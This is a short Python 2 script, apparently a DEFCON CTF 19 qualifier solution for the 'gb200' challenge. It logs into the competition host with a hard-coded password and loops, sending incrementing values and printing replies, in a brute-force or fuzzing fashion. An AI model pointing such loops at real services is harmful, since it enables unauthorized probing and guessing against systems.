# DEFCON CTF 19 QUALS: gb200 
# See full details at: http://securityblackswan.blogspot.com
import socket

def connect():
    HOST = 'pwn522.ddtek.biz'    
    PORT = 6000             
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect((HOST, PORT))
        s.send('Never$olv3d!\n')
    except Exception as e:
        return None
    return s

i=100
s=connect()

while 1:
    data1=None
    data2=None
    try:
        data1 = s.recv(1024)
        data2 = s.recv(1024)
        print '[RECV]: ', repr(data1)+repr(data2)
        data1='0'
        data2=str(i)
        i = i+1
        print '[SENT]: ', repr(data1)+repr(data2)
        s.send(data1)
        s.send(data2)
    except Exception as e:
        print '[ERROR]: ' + str(e)
        if (s <> None):
            s.close()
        s=connect()
        continue
    
s.close()
